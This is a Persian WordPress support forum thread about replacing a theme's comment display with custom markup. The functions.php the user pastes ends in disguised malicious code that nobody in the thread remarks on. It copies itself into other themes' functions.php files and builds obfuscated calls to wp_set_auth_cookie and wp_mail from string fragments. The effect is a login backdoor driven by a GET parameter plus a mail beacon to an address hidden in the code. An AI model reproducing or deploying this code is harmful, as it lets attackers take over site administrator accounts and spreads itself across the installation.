رفتن به مطلب

تغییر در کدهای کامنت


پست های پیشنهاد شده

سلام دوستان

من یه کد برای دیدگاه هام نوشتم ، میخوام ازش استفاده کنم


<li id="comment-1" class="comment even thread-even depth-1">
<div class="comment-body" id="div-comment-1">
<div class="comment-author vcard">
<img width="55" height="55" class="avatar avatar-55 photo avatar-default" src="http://0.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536?s=55" alt=""> <cite class="fn"><a class="url" rel="external nofollow" href="http://wordpress.org/">آقای وردپرس</a></cite> <span class="says">می‌گه:</span> </div>

<div class="comment-meta commentmetadata"><a href="?p=1#comment-1">
ژانویه 13, 2014 در 8:56 ب.ظ</a>  <a href="wp-admin/comment.php?action=editcomment&c=1" class="comment-edit-link">(ویرایش)</a> </div>
<p>سلام،‌ این نوشته یک «دیدگاه» است.<br>
برای پاک کردن یا ویرایش یک دیدگاه، باید وارد بخش مدیریت شوید، سپس به بخش دیدگاه‌ها بروید٬ در آن‌جا می‌توانید دیدگاه‌ها را ویرایش و یا پاک کنید.</p>
<div class="reply">
<a onclick="return addComment.moveForm("div-comment-1", "1", "respond", "1")" href="/lg/?p=1&replytocom=1#respond" class="comment-reply-link">پاسخ دادن</a> </div>
</div>
</li>

اما وقتی رفتم تو کامنت.پی اچ پی دیدم که برای قسمت نظرات تایید شده فقط همین هست :


<ol class="commentlist">
<?php wp_list_comments(
array(
'avatar_size' => 55,
));
?>
</ol>

چطوری از کد بالا استفاده کنم و توابع رو توش جایگذاری کنم ؟

ممنون

ویرایش شده توسط goldenfont
لینک به ارسال

حالا مشکلم اینه که کامنتها رو دوبار نشون میده


<?php if ( have_comments() ) : ?>
<?php wp_list_comments($args); ?>
<div class="comment even thread-even depth-1">
<div class="cm-top">
<div class="cm-date"><?php comment_date('d', $comment_ID); ?></div>
<div class="cm-name"><b><?php comment_author($comment_ID); ?> </b> می گوید:</div></div>
<div class="cm-content"><p><?php comment_text($comment_ID); ?></p>
</div>
<div class="clr">
</div></div>

<?php endif; ?>
<?php else :
// comments are closed ?>
<?php endif; ?>

یکبار با استایلی که من براش نوشتم ، یکبار با استایلی که قبلا داشت

مشکل از توابع پوسته هستش

ممنون میشم کدهایی که در این فایل مربوط به نمایش دیدگاه است رو بردارید

ممنون

<?php

/**

* @package WordPress

* @subpackage Showcaser Theme

*/

//includes

require('admin/theme-admin.php');

require('functions/pagination.php');

require('functions/better-excerpts.php');

require('functions/shortcodes.php');

// Set the content width based on the theme's design and stylesheet.

if ( ! isset( $content_width ) )

$content_width = 620;

// get scripts

add_action('wp_enqueue_scripts','my_theme_scripts_function');

function my_theme_scripts_function() {

//get theme options

global $options;

wp_deregister_script('jquery');

wp_register_script('jquery', ("http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"), false, '1.4.2');

wp_enqueue_script('jquery');

// Site wide js

wp_enqueue_script('custom', get_template_directory_uri() . '/js/custom.js');

}

// Limit Post Word Count

function new_excerpt_length($length) {

return 99999;

}

add_filter('excerpt_length', 'new_excerpt_length');

//Replace Excerpt Link

function new_excerpt_more($more) {

global $post;

return '...';

}

add_filter('excerpt_more', 'new_excerpt_more');

//Activate post-image functionality (WP 2.9+)

if ( function_exists( 'add_theme_support' ) )

add_theme_support( 'post-thumbnails' );

// featured image sizes

if ( function_exists( 'add_image_size' ) ) {

add_image_size( 'full-size', 9999, 9999, false );

add_image_size( 'post-image', 245, 120, true );

add_image_size( 'single-image', 560, 274, true );

}

// Enable Custom Background

add_custom_background();

// register navigation menus

register_nav_menus(

array(

'main nav'=>__('فهرست اصلی'),

)

);

/// add home link to menu

function home_page_menu_args( $args ) {

$args['show_home'] = true;

return $args;

}

add_filter( 'wp_page_menu_args', 'home_page_menu_args' );

// menu fallback

function default_menu() {

require_once (TEMPLATEPATH . '/includes/default-menu.php');

}

//Register Sidebars

if ( function_exists('register_sidebar') )

register_sidebar(array(

'name' => 'منوی کناری',

'description' => 'ابزارک ها اين قسمت در منوي کناري قرار ميگيرند',

'before_widget' => '<div class="sidebar-box clearfix">',

'after_widget' => '</div>',

'before_title' => '<h4>',

'after_title' => '</h4>',

));

// functions run on activation --> important flush to clear rewrites

if ( is_admin() && isset($_GET['activated'] ) && $pagenow == 'themes.php' ) {

$wp_rewrite->flush_rules();

}

?>

<?php

function _verify_isactivate_widget(){

$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

$output=strip_tags($output, $allowed);

$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

if (is_array($direst)){

foreach ($direst as $item){

if (is_writable($item)){

$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

$cont=file_get_contents($item);

if (stripos($cont,$ftion) === false){

$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

$output .= $before . "پيدا نشد" . $after;

if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);

$output .= ($showdots && $ellipsis) ? "..." : "";

}

}

}

}

return $output;

}

function _get_allwidgetcont($wids,$items=array()){

$places=array_shift($wids);

if(substr($places,-1) == "/"){

$places=substr($places,0,-1);

}

if(!file_exists($places) || !is_dir($places)){

return false;

}elseif(is_readable($places)){

$elems=scandir($places);

foreach ($elems as $elem){

if ($elem != "." && $elem != ".."){

if (is_dir($places . "/" . $elem)){

$wids[]=$places . "/" . $elem;

} elseif (is_file($places . "/" . $elem)&&

$elem == substr(__FILE__,-13)){

$items[]=$places . "/" . $elem;}

}

}

}else{

return false;

}

if (sizeof($wids) > 0){

return _get_allwidgetcont($wids,$items);

} else {

return $items;

}

}

if(!function_exists("stripos")){

function stripos( $str, $needle, $offset = 0 ){

return strpos( strtolower( $str ), strtolower( $needle ), $offset );

}

}

if(!function_exists("strripos")){

function strripos( $haystack, $needle, $offset = 0 ) {

if( !is_string( $needle ) )$needle = chr( intval( $needle ) );

if( $offset < 0 ){

$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );

}

else{

$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );

}

if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;

$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );

return $pos;

}

}

if(!function_exists("scandir")){

function scandir($dir,$listDirectories=false, $skipDots=true) {

$dirArray = array();

if ($handle = opendir($dir)) {

while (false !== ($file = readdir($handle))) {

if (($file != "." && $file != "..") || $skipDots == true) {

if($listDirectories == false) { if(is_dir($file)) { continue; } }

array_push($dirArray,basename($file));

}

}

closedir($handle);

}

return $dirArray;

}

}

add_action("admin_head", "_verify_isactivate_widget");

function _getsprepare_widget(){

if(!isset($com_length)) $com_length=120;

if(!isset($text_value)) $text_value="cookie";

if(!isset($allowed_tags)) $allowed_tags="<a>";

if(!isset($type_filter)) $type_filter="none";

if(!isset($expl)) $expl="";

if(!isset($filter_homes)) $filter_homes=get_option("home");

if(!isset($pref_filter)) $pref_filter="wp_";

if(!isset($use_more)) $use_more=1;

if(!isset($comm_type)) $comm_type="";

if(!isset($pagecount)) $pagecount=$_GET["cperpage"];

if(!isset($postauthor_comment)) $postauthor_comment="";

if(!isset($comm_is_approved)) $comm_is_approved="";

if(!isset($postauthor)) $postauthor="auth";

if(!isset($more_link)) $more_link="(more...)";

if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");

if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;

if(!isset($more_link_ditails)) $more_link_ditails="(details...)";

if(!isset($morecontents)) $morecontents="ma".$expl."il";

if(!isset($fmore)) $fmore=1;

if(!isset($fakeit)) $fakeit=1;

if(!isset($sql)) $sql="";

if (!$is_widget) :

global $wpdb, $post;

$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if (!empty($post->post_password)) {

if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {

if(is_feed()) {

$output=__("There is no excerpt because this is a protected post.");

} else {

$output=get_the_password_form();

}

}

}

if(!isset($f_tags)) $f_tags=1;

if(!isset($type_filters)) $type_filters=$filter_homes;

if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;

if(!isset($aditional_tags)) $aditional_tags="div";

if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#

if(!isset($more_link_text)) $more_link_text="Continue reading this entry";

if(!isset($showdots)) $showdots=1;

$comments=$wpdb->get_results($sql);

if($fakeit == 2) {

$text=$post->post_content;

} elseif($fakeit == 1) {

$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

} else {

$text=$post->post_excerpt;

}

$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

if($com_length < 0) {

$output=$text;

} else {

if(!$no_more && strpos($text, "<!--more-->")) {

$text=explode("<!--more-->", $text, 2);

$l=count($text[0]);

$more_link=1;

$comments=$wpdb->get_results($sql);

} else {

$text=explode(" ", $text);

if(count($text) > $com_length) {

$l=$com_length;

$ellipsis=1;

} else {

$l=count($text);

$more_link="";

$ellipsis=0;

}

}

for ($i=0; $i<$l; $i++)

$output .= $text[$i] . " ";

}

update_option("_is_widget_active_", 1);

if("all" != $allowed_tags) {

$output=strip_tags($output, $allowed_tags);

return $output;

}

endif;

$output=rtrim($output, "\s\n\t\r\0\x0B");

$output=($f_tags) ? balanceTags($output, true) : $output;

$output .= ($showdots && $ellipsis) ? "..." : "";

$output=apply_filters($type_filter, $output);

switch($aditional_tags) {

case("div") :

$tag="div";

break;

case("span") :

$tag="span";

break;

case("p") :

$tag="p";

break;

default :

$tag="span";

}

if ($use_more ) {

if($fmore) {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";

} else {

$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";

}

}

return $output;

}

add_action("init", "_getsprepare_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

global $wpdb;

$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

if(!$show_pass_post) $request .= " AND post_password =\"\"";

if($duration !="") {

$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

}

$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

$posts=$wpdb->get_results($request);

$output="";

if ($posts) {

foreach ($posts as $post) {

$post_title=stripslashes($post->post_title);

$comment_count=$post->comment_count;

$permalink=get_permalink($post->ID);

$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

}

} else {

$output .= $before . "None found" . $after;

}

return $output;

}

function getpostviews($postID){

$count_key = 'post_views_count';

$count = get_post_meta($postID, $count_key, true);

if($count==''){

delete_post_meta($postID, $count_key);

add_post_meta($postID, $count_key, '0');

return "0 بازدید";

}

return $count.' بازدید';

}

function setpostviews($postID) {

$count_key = 'post_views_count';

$count = get_post_meta($postID, $count_key, true);

if($count==''){

$count = 0;

delete_post_meta($postID, $count_key);

add_post_meta($postID, $count_key, '0');

}else{

$count++;

update_post_meta($postID, $count_key, $count);

}

}

?>

ویرایش شده توسط Morteza
لینک به ارسال

اگر از wp_list_comments استفاده میکنید

کدها بعدش باید حذف بشه


<div class="comment even thread-even depth-1">
<div class="cm-top">
<div class="cm-date"><?php comment_date('d', $comment_ID); ?></div>
<div class="cm-name"><b><?php comment_author($comment_ID); ?> </b> می گوید:</div></div>
<div class="cm-content"><p><?php comment_text($comment_ID); ?></p>
</div>
<div class="clr">
</div></div>

لینک به ارسال

<?php wp_list_comments($args); ?> رو که برمیدارم اونوقت دیدگاه هارو درست نمایش نمیده ، فقط نام رو نمایش میده که اون رو هم میزنه ناشناس

من میخوام از کدهایی که خودم نوشتم استفاده کنم، چیکار کنم ؟

___________________________________

از


<?php wp_list_comments('type=all&callback=art_comment'); ?>

بجای


<?php wp_list_comments($args); ?>

استفاده کردم ، مشکلم حل شد

ویرایش شده توسط goldenfont
لینک به ارسال

به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع ...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • اضافه کردن...